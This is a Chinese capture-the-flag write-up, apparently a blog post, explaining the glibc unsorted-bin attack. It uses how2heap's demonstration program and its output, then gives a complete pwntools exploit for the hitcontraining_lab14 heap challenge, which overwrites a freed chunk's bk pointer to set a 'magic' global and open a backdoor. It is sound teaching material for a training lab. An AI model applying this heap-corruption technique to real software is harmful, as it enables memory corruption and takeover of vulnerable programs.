【PWN · heap | unsorted-bin-attack】hitcontraining_lab14

这种堆题竟然如此简单——如果不细扣机理过程


前言

unsorted-bin一般用于利用,有leak libc往任意地址写一个大数的作用。本题可以说是作为一道模板题,主要阐述了如何实现”往任意地址写一个大数“。


一、unsorted-bin-attack(摘自wiki)

在 glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
    malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

换而言之,如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到任意地址。

这里我以 shellphish 的 how2heap 仓库中的 unsorted_bin_attack.c 为例进行介绍,这里我做一些简单的修改,如下

#include <stdio.h>
#include <stdlib.h>

int main() {
  fprintf(stderr, "This file demonstrates unsorted bin attack by write a large "
                  "unsigned long value into stack\\n");
  fprintf(
      stderr,
      "In practice, unsorted bin attack is generally prepared for further "
      "attacks, such as rewriting the "
      "global variable global_max_fast in libc for further fastbin attack\\n\\n");

  unsigned long target_var = 0;
  fprintf(stderr,
          "Let's first look at the target we want to rewrite on stack:\\n");
  fprintf(stderr, "%p: %ld\\n\\n", &target_var, target_var);

  unsigned long *p = malloc(400);
  fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\\n",
          p);
  fprintf(stderr, "And allocate another normal chunk in order to avoid "
                  "consolidating the top chunk with"
                  "the first one during the free()\\n\\n");
  malloc(500);

  free(p);
  fprintf(stderr, "We free the first chunk now and it will be inserted in the "
                  "unsorted bin with its bk pointer "
                  "point to %p\\n",
          (void *)p[1]);

  /*------------VULNERABILITY-----------*/

  p[1] = (unsigned long)(&target_var - 2);
  fprintf(stderr, "Now emulating a vulnerability that can overwrite the "
                  "victim->bk pointer\\n");
  fprintf(stderr, "And we write it with the target address-16 (in 32-bits "
                  "machine, it should be target address-8):%p\\n\\n",
          (void *)p[1]);

  //------------------------------------

  malloc(400);
  fprintf(stderr, "Let's malloc again to get the chunk we just free. During "
                  "this time, target should has already been "
                  "rewrite:\\n");
  fprintf(stderr, "%p: %p\\n", &target_var, (void *)target_var);
}

程序执行后的效果为

➜  unsorted_bin_attack git:(master) ✗ gcc unsorted_bin_attack.c -o unsorted_bin_attack
➜  unsorted_bin_attack git:(master) ✗ ./unsorted_bin_attack
This file demonstrates unsorted bin attack by write a large unsigned long value into stack
In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack

Let's first look at the target we want to rewrite on stack:
0x7ffe0d232518: 0

Now, we allocate first normal chunk on the heap at: 0x1fce010
And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()

We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffe0d232508

Let's malloc again to get the chunk we just free. During this time, target should has already been rewrite:
0x7ffe0d232518: 0x7f1c705ffb78

这里我们可以使用一个图来描述一下具体发生的流程以及背后的原理。

初始状态时

unsorted bin 的 fd 和 bk 均指向 unsorted bin 本身。

执行 free(p)

由于释放的 chunk 大小不属于 fast bin 范围内,所以会首先放入到 unsorted bin 中。

修改 p[1]

经过修改之后,原来在 unsorted bin 中的 p 的 bk 指针就会指向 target addr-16 处伪造的 chunk,即 Target Value 处于伪造 chunk 的 fd 处。

申请 400 大小的 chunk

此时,所申请的 chunk 处于 small bin 所在的范围,其对应的 bin 中暂时没有 chunk,所以会去 unsorted bin 中找,发现 unsorted bin 不空,于是把 unsorted bin 中的最后一个 chunk 拿出来。


二、一句话总结

只要unsorted-bin中的某个chunk的bk域被修改为指定addr,则addr+0x10(64位)的位置会在该chunk被unlink时,修改为一个非常大的数(该chunk的头部地址)

 从来没有遇到这么简洁的总结。然而,更好的理解,是需要知道底层过程的(如上,wiki部分)。


三、本题利用

那让我们抓住这一句话,来看看本题。

只要magic被修改成大于4869的数,即可通过判断条件,执行后门函数。

——而我们知道,unsorted-bin-attack有一个非常”古怪“的效果——任意地址写一个非常大的数。

而本题是简单的菜单题,对于堆有着增删改的操作。

进一步的:

在edit操作中存在堆溢出漏洞——可以修改临近堆块的内容。

为此,我们很容易地就能修改位于unsorted-bin中的chunk,实现unsorted-bin-attack!

劫持流程已经出来了:

  1. malloc三块堆块①②③
    1. ①用于溢出写,修改放到unsorted-bin中的②的bk指针
    2. ②用于构成unsorted-bin-chunk
    3. ③用于隔离top-chunk,避免consolidate合并
  2. free掉②
  3. 溢出写①修改②的部分内容,注意满足堆管理头部字段的值的要求
  4. malloc与②同样大小的堆块,触发unlink以及任意地址写巨大值(块地址)
  5. 输入4869获得flag回显

四、EXP 

from pwn import *
context(arch='amd64',log_level='debug')

io=process('./pwn')
elf=ELF('./pwn')

def create(size,content):
    io.sendafter(b'choice :',b'1')
    io.sendafter(b'Heap : ',str(size).encode())
    io.sendafter(b'heap:',content)

def edit(index,write_size,new_content):
    io.sendafter(b'choice :',b'2')
    io.sendafter(b'Index :',str(index).encode())
    io.sendafter(b'Heap : ',str(write_size).encode())
    io.sendafter(b'heap : ',new_content)
    io.recvuntil(b'Done !')
    

def delete(index):
    io.sendafter(b'choice :',b'3')
    io.sendafter(b'Index :',str(index).encode())
    io.recvuntil(b'Done !')

def exit():
    io.sendafter(b'choice :',b'4')
    
def attack():
    io.sendafter(b'choice :',b'4869')
    io.interactive()

### test
# create(0x20,b'aaaa')
# edit(0,0x10,b'bbbb')
# delete(0)
# exit()

magic=0x6020C0

# 溢出
create(0x30,b'aaaa')
# unsorted-bin-attack
create(0x90,b'bbbb')
# 隔离top chunk
create(0x40,b'cccc')
# unsorted-bin
delete(1)
# edit-unsorted-bak
edit(0,0x50,b'a'*0x30+p64(0)+p64(0xa1)+p64(0)+p64(magic-0x10))
# trigger
create(0x90,b'aaaa')
# attack
attack()

  • 13
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值